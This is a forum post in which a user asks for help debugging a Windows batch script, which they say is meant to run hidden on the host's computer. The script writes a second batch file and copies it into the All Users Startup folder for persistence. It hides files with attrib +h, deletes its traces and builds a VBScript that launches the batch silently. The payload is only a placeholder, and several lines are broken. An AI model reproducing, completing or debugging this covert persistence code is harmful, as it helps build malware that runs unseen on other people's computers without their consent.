Alright so ive been working on this program in batch that will run iteslf hidden on the hosts computer. i think ive got everything good excpet for the commands that are put into the directory "rip.bat". if i right click edit on the desktop where it got saved, then i can see all of the commands are in the file correctly. however, the file that originally creates the directory also opens the newly created "rip.bat". all that happens when the rip.bat file is opened is there is a blank console and no commands go through. does windows not allow one batch file to execute another batch file? if they do, could anybody help me debug my program?
echo @echo off >> "ripp.bat"
echo ping localhost -n 2 >> "ripp.bat"
cls
ping localhost -n 2 >nul
::----insert commands for rip.bat here---::
echo echo hhhh >> "ripp.bat"
::---------------#####------------------::
::--move/hide--::
echo attrib +h "%userprofile%"\desktop\rip.bat" >> "rip.bat"
echo copy "%userprofile%"\desktop\ripp.bat "C:\Documents and Settings\All Users\Start
Menu\Programs\Startup" >> "rip.bat"
echo cls >> "rip.bat"
echo ping localhost -n 2 >> "rip.bat"
echo attrib +h "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\ripp.bat" >> "rip.bat"
echo cls >> "rip.bat"
echo del "%userprofile%"\desktop\rip.bat" >> "rip.bat"
cls
::------###-----::
::--run hidden--::
echo CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False >> "invis.vbs"
echo wscript.exe C:\Documents and Settings\All Users\Start Menu\Programs\Startup\invis.vbs
"C:\Documents and Settings\All Users\Start Menu\Programs\Startup\ripp.bat" >> "invis.vbs"
cls
ping localhost -n 2 >nul
cls
copy "%userprofile%"\desktop\invis.vbs "C:\Documents and Settings\All Users\Start
Menu\Programs\Startup"
ping localhost -n 2 >nul
attrib +h "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\invis.vbs"
start "%userprofile%"\desktop\rip.bat
ping localhost -n 6 >nul
start "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\invis.vbs"